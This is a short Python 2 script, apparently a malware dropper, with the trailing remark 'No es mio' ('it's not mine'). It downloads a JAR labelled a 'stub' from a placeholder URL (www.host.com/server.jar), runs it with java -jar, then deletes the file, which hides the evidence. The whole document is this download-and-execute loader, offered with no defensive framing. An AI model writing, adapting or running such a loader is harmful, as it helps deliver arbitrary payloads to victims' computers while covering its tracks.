#!/usr/bin/python
import os, sys
import urllib
import subprocess
#enter URL here
url = 'http://www.host.com/server.jar'
#stub name
filename = 'test.jar'
urllib.urlretrieve(url, filename)
#run the stub make sure to change the name of the jar file
subprocess.call(['java', '-jar', 'test.jar'])
os.remove("test.jar")
No es mio.